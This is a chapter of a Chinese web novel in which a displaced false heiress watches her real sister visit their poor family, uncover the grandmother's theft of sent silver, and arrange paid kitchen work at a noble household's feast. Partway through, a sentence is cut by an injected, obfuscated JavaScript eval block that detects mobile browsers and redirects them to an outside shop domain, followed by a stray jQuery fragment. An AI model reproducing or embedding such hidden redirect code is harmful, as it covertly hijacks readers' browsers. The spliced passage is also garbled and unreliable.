秦珠性急,爬下车就往里跑,边跑边喊:"娘!我们回来了!"
跑到院当中,小丫头忽然刹住脚。
屋当中站着个穿藕荷色披风的少女,身量纤细,朱钗满头,侧脸被灯光映得白净,清贵疏离。
而秦三郎、赵氏,秦家两兄弟围着她说话,都有些欢喜,又有些手足无措。
秦珠眼睛骤然亮起来,撒丫子就扑过去:“三姐!”
秦清绾刚回过头来,就被小丫头一头扎进怀里,往后退了半步才站稳。
“三姐你怎么才来?珠儿可想你了。”秦珠抱着她的胳膊不撒手,仰着脸告状似的,“娘说你在侯府过好日子,不稀罕回来了。我就说不对,三姐最疼我了。”
秦清绾蹲下来,伸手把秦珠跑散的碎发拢到耳后,轻声说了句:“珠儿长高了。”
秦珠得了夸,更来劲了,回头冲院门口招手:“三姐快来,是三姐来了!”
她一手拉着秦清绾的袖子,一手指着正卸板车的秦芜,左右看看,忽然挠了挠头。“哎呀,有两个三姐了。”
院子里静了一瞬。
秦清绾脸上的笑淡了。她直起腰,目光落在秦芜身上。
那眼里满是防备。鸠占鹊巢十几年,还曾在侯府下药害人,任谁能给她好脸色?
但秦清绾还是体面跟她颔首招呼一下。
秦芜微笑着回应一声:“秦小姐好。”
秦清绾怔愣一瞬,大抵是没想到往日里那个张扬跋扈、心高气傲的假千金,如今穿着一身粗布麻衣推着板车,竟还能这般平和淡然。
她忍不住上下打量,到底没把那句:“见鬼了吧”说出口。
秦芜知道两人之间横亘着十几年的错位和那些说不清道不明的恩怨,多说多错,反倒不如保持距离。她不打算凑上去讨嫌,便转过身,将板车上的木桶和粗瓷碗一样样卸下来。
赵氏察觉出气氛僵冷,忙上前打圆场:“绾儿,外头风大,快进屋暖和暖和。阿芜,你忙了一天,也进来休息下。”
“不了,我先洗东西,你们聊。”
几人也不勉强,拥着秦清绾进了东屋。
秦芜走到水缸边,舀了小半桶水,开始刷锅。
大锅沾满底油,冬天一冻,糊了层白花花的硬壳。她又去灶坑里抓了把草木灰撒进锅里,拿着炊帚使劲打着圈刷洗。草木灰涩手,混着冰水和猪油渣的味儿,冻得她十指通红。
“嚓嚓”的刷锅声中,屋里的说话声也断断续续飘进秦芜耳朵里。
起初是赵氏心疼的寒暄,问她在侯府吃得饱不饱,穿得暖不暖。
秦清绾却叹口气,“在府里,过得一点都不安生。”
赵氏纳闷:“咋了这是?侯爷和夫人不是最疼你吗?”
“爹娘是疼我,可府里的规矩太大。二房、三房的堂姊妹们,从小便学琴棋书画。我一个乡下长大的,连字都不识几个。她们当面叫我姐姐,背地里却笑话我一身泥巴味,连拿笔的姿势都粗鄙。”
说到这儿,秦清绾的声音低了几分,带着点难以启齿的委屈:“还有……月银的事,也闹了一场。”
“月银?怎么了?"
“爹娘每月给我十两月银,比府里其他姑娘的份例还多二两。我自个儿也用不玩,所以托人捎回来些,我特意跟奶奶说,让她分给你们三房,冬天添置点炭火棉衣。"
赵氏一愣:"银子?啥银子?我没见着啊。"
秦清绾也愣了,像是没料到:"没收到?不对啊,我托府里采买的王妈妈捎的,五两银子,还有两匹细布,都亲手交给奶奶了。我跟奶奶说,大房二房各给一两,你们三房给二两,剩下的一两留着奶奶自己花。布也是一家一匹,奶奶一匹。"
赵氏脸色变了。
五两银子?两匹细布?
她半点儿影子都没见着!
秦老太半个字都没跟她提过!
赵氏心里又气又酸,嘴唇都哆嗦了:"没……没收到。你奶奶从来没跟我说过这事。"
秦清绾默然片刻,心里明白是那老太太贪了墨,旋即想起自己不仅没帮到赵氏,还惹了一身骚。
她叹一口气,道:"娘知道这事,就把我叫去,说我既认祖归宗回了侯府,就是侯府的姑娘,一言一行都代表侯府的体面。月银是公中按份例发的,是让我置办脂粉头面、打赏下人用的,不是让我贴补别家的。"
她顿了顿,声音更低了:"娘说了,下不为例。以后……以后不让我再往家捎钱了。说秦家要是真有难处,让爹出面就是,不能让我私下里给,落人口实,也失了侯府的体面。"
屋外,秦芜直起腰,把洗净的锅翻扣在井台上,甩了甩手上的冰水。
难怪。
难怪那天晚上,老太太旁敲侧击地想哄她回侯府要钱。若是再去讨要,私吞的事便会败露。这老太太当真是会打算盘。
赵氏反倒宽慰起秦清绾:“夫人说得也在理,知道你拿回来填秦家的窟窿,定要生你的气。没了就没了吧,咱如今分了家,日子眼看有奔头了,你别再拿钱了,免得他们瞧不起老秦家,也连带着瞧不起你。”
秦清绾话锋一转,“我来还有一件事,这月十七是祖母的大寿,府里要摆几十桌流水席,后厨人手紧缺,管事正四处寻摸熟手去帮工。”
“我想着,爹大哥二哥有一把子力气,娘做事也细致。我便去求了管事,给你们要了四个帮厨的缺。做一天管两顿饭,每人赏银二两。走时还能带些席面上的好菜。这是凭力气干活赚的赏钱,奶就是想抢也伸不上手。”
一天二两银子!四个人就是八两!
这对他们来说,简直是一笔天降巨款。
“这……这怎么好,让你欠侯府管事这么大的人情......”秦三郎搓着手,有些局促。
秦清绾笑了,“爹,您想岔了。我是侯府的嫡小姐,能给他后厨推荐几个知根知底的熟手,那是抬举他。管事巴不得卖我这个面子呢。再说,寿宴本就缺人手,你们是凭力气吃饭,又不是白拿工钱,旁人挑不出错来。”
这是,秦珠在旁拍手笑道:"太好了,那三姐的铺面就能开起来了!"
秦清绾一愣,“什么铺面?”
赵氏连忙把秦芜在盛京码头摆摊卖馄饨卤味,又帮着打赢了官司、从老宅分出来单过、眼下正攒钱打算去盛京里租个铺面的事,一五一十说给她听。
秦清绾听后,默然片刻,随即她凑近赵氏,压低嗓子,附在她耳边嘀嘀咕咕说了好一阵。
秦芜没听清,但她不难猜到,无非是些提醒赵氏提防自己、说自己别有用心的话。
毕竟在侯府那些年,她"恶名昭彰",秦清绾不信她也是正常。
果然,赵氏声音高了些,替秦芜辩解:"你不知,阿芜帮着你大哥赢了官司,还带着我们摆摊子赚钱,这阵子家里日子好过了不少。她……并不是你们说的那样。"
“娘,你且提防着,我听府里姊妹和下人说,她心眼多,最会装可怜哄人,惯会挑唆离间。你可别被她三言两语哄住了,到时候被她卖了还帮着数钱呢。”
秦清绾的声音压得更低,却还是有几句断断续续飘了出来,“她在侯府那么多年,什么好东西没见过?怎么可能甘心在乡下摆摊子?指不定憋着什么坏呢,想借着咱们三房的名义,再回侯府去攀关系。”
秦家几人不好再说什么,怕秦芜听到难堪,只得讪讪地岔开话头,东拉西扯地说些村里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815398|211036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
闲事,把那话头掩了过去。
没过多久,天色彻底暗了下来,侯府规矩大,秦清绾不敢多待。一家人送秦清绾坐上马车,车轮辘辘地去远了,才转身回屋。
赵氏有些过意不去,回头瞅了瞅秦芜的脸色,嘴唇动了动,终究没说出什么来。
她私心其实是偏向相信秦芜的,毕竟是自己身上掉下来的肉,自家又一穷二白,有什么可图的?
可清绾那孩子说的也不是全无道理,阿芜在侯府那些年,性子确实……和从前不一样了。她心里乱糟糟的,像塞了一团乱麻。
晚饭桌上,赵氏斟酌着,把去侯府帮厨的事,毫无保留地跟秦芜说了。
秦芜闻言只淡淡一笑,“这是好事。一天二两银子,不赚白不赚,爹娘和大哥只管安心去。不过,侯府规矩大,后厨更是个捧高踩低的地方。你们去了,切记‘多做事,少开口’。遇见管事,不管说多难听的话,只管低头干活;主家席面上撤下来的好菜,若是管事不发话,绝不能私自往怀里揣。咱们只挣那份清清白白的赏钱,别惹事。”
秦三郎和赵氏听她连侯府后厨的门道都门儿清,心里越发踏实,连连点头记下。
日子就这么不紧不慢地过着。有了去侯府赚钱的盼头,一家人干活更卖力,馄饨摊子的生意也越发红火。攒下的银钱渐渐厚实,眼看租铺面的事就要有眉目。
可老话说,穷人家最怕老天爷变脸。
这天傍晚,秦芜秦珠刚到家,就见秦凡气喘吁吁往外跑。
“大哥,怎么了?”
“爹在后山摔了!年初的旧伤犯了,疼得在炕上打滚,我去请大夫!”
秦芜心头一沉,快步进屋。
年初时,秦三郎给老宅修屋顶,从房梁上摔下来伤了腿。那时秦老太舍不得拿钱请大夫,只用几块破木板随便绑了绑,骂他耽误地里的活。
那伤本就没好全,落了病根,如今腊月里天寒地冻,他又为了多攒几文钱天天进山吹冷风、干重活,寒气裹着积劳,旧疾反扑。
大夫很快来了,连针带药折腾了大半个时辰,叹着气摇头:
"这是旧伤未愈,又劳累过度,淤血淤积在经络里,发作了。得赶紧用药外敷,再内服几副汤药,好好将养着,否则……这条腿怕是要废。"
说罢,开了几服散寒活血的猛药。
抓药、付诊金,之前攒下的钱,如今又去了大半。
可比起心疼钱,秦三郎更恨自己这不争气的身子。
“我这废腿!早不发晚不发,偏偏赶在这个节骨眼上!后天就是十七了,侯府一天二两银子的差事,生生叫我给耽误了!”
那是二两银子啊!庄稼汉在地里刨食一年都攒不下这么多。
赵氏唉声叹气,秦凡和秦卓也耷拉着脑袋,一时之间愁云惨淡。
刚有点奔头的日子,又被一棒子打回了原形。
秦芜思忖片刻,她可不想当天上馅饼砸下来时,因为怕把自己砸疼就躲开,那纯纯傻篮子。
于是道:“药钱花了还能再赚,人没事就成。侯府的差事,耽误不了,爹下不了地,我顶替爹去。”
赵氏连连摆手,“那怎么成,那可是侯府,你被赶出来的事府里上下皆知,老太太又那般厌恶你,若是被认出来……”
“我不穿女装,脸上抹些灰,扮个小子还是绰绰有余的。后厨百十号人忙得脚不沾地,谁会盯着一个泥腿子看?”
秦卓胆子大,立刻附和:“我觉得行,那可是二两银子啊,三妹这么机警,所谓富贵险中求啊。”
秦凡这锯嘴葫芦自然没意见。
秦三郎一咬牙:“成!就这么办!芜丫头,你去了千万小心,要是被欺负了,赶紧回来。”